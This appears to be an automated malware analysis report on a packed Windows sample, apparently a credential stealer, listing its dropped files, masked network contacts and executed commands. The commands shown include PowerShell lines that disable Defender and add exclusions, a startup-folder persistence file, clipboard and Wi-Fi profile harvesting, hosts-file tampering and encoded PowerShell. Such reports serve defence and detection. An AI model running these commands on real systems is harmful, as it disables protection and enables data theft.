Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\ В В .scr'
Modifies file system
Creates the following files
- %TEMP%\_mei14562\vcruntime140.dll
- %TEMP%\_mei14562\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei14562\base_library.zip
- %TEMP%\_mei14562\blank.aes
- %TEMP%\_mei14562\libcrypto-3.dll
- %TEMP%\_mei14562\libffi-8.dll
- %TEMP%\_mei14562\libssl-3.dll
- %TEMP%\_mei14562\python313.dll
- %TEMP%\_mei14562\rar.exe
- %TEMP%\_mei14562\rarreg.key
- %TEMP%\_mei14562\select.pyd
- %TEMP%\_mei14562\sqlite3.dll
- %TEMP%\_mei14562\ucrtbase.dll
- %TEMP%\_mei14562\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei14562\unicodedata.pyd
- %TEMP%\_mei14562\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei14562\_bz2.pyd
- %TEMP%\_mei14562\_ctypes.pyd
- %TEMP%\_mei14562\_decimal.pyd
- %TEMP%\_mei14562\_hashlib.pyd
- %TEMP%\_mei14562\_lzma.pyd
- %TEMP%\_mei14562\_queue.pyd
- %TEMP%\_mei14562\_socket.pyd
- %TEMP%\_mei14562\_sqlite3.pyd
- %TEMP%\_mei14562\_ssl.pyd
- %TEMP%\_mei14562\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei14562\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei14562\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei14562\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei14562\api-ms-win-core-string-l1-1-0.dll
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\ В В .scr
Sets the 'hidden' attribute to the following files
- <Full path to file>
Network activity
Connects to
- 'ip##pi.com':80
- 'gs##tic.com':443
TCP
HTTP GET requests
- http://ip##pi.com/line/?fi############
UDP
- DNS ASK bl###-g5l3m.in
- DNS ASK ip##pi.com
- DNS ASK gs##tic.com
Miscellaneous
Searches for the following windows
- ClassName: 'OleMainThreadWndClass' WindowName: ''
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'"
- '<SYSTEM32>\wbem\wmic.exe' path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value
- '<SYSTEM32>\attrib.exe' +h +s "<Full path to file>"
- '<SYSTEM32>\wbem\wmic.exe' path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value
- '<SYSTEM32>\cmd.exe' /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
- '<SYSTEM32>\cmd.exe' /c "powershell Get-Clipboard"
- '<SYSTEM32>\wbem\wmic.exe' /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
- '<SYSTEM32>\cmd.exe' /c "netsh wlan show profile"
- '<SYSTEM32>\attrib.exe' -r <DRIVERS>\etc\hosts
- '<SYSTEM32>\cmd.exe' /c "tree /A /F"
- '<SYSTEM32>\reg.exe' QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbAB...
- '<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC...
- '<SYSTEM32>\netsh.exe' wlan show profile
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-Clipboard
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value"
- '<SYSTEM32>\cmd.exe' /c "attrib -r <DRIVERS>\etc\hosts"
- '<SYSTEM32>\cmd.exe' /c "systeminfo"
- '<SYSTEM32>\cmd.exe' /c "attrib +r <DRIVERS>\etc\hosts"
- '<SYSTEM32>\tasklist.exe' /FO LIST
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\ В В .scr'"
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value"
- '<SYSTEM32>\cmd.exe' /c "attrib +h +s "<Full path to file>""
- '<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...
- '<SYSTEM32>\cmd.exe' /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Restart system', 0, 'Injection failed', 48+16);close()""
- '<SYSTEM32>\cmd.exe' /c "wmic csproduct get uuid"
- '<SYSTEM32>\tree.com' /A /F
- '<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
- '<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"
- '<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_VideoController get name"
- '<SYSTEM32>\reg.exe' QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
- '<SYSTEM32>\mshta.exe' "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Restart system', 0, 'Injection failed', 48+16);close()"
- '<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
- '<SYSTEM32>\reg.exe' QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
- '<SYSTEM32>\attrib.exe' +r <DRIVERS>\etc\hosts
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\ В В .scr'"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -r <DRIVERS>\etc\hosts"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Restart system', 0, 'Injection failed', 48+16);close()""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbAB...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic csproduct get uuid"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +r <DRIVERS>\etc\hosts"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "systeminfo"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h +s "<Full path to file>""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "tree /A /F"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_VideoController get name"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-Clipboard"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "netsh wlan show profile"' (with hidden window)
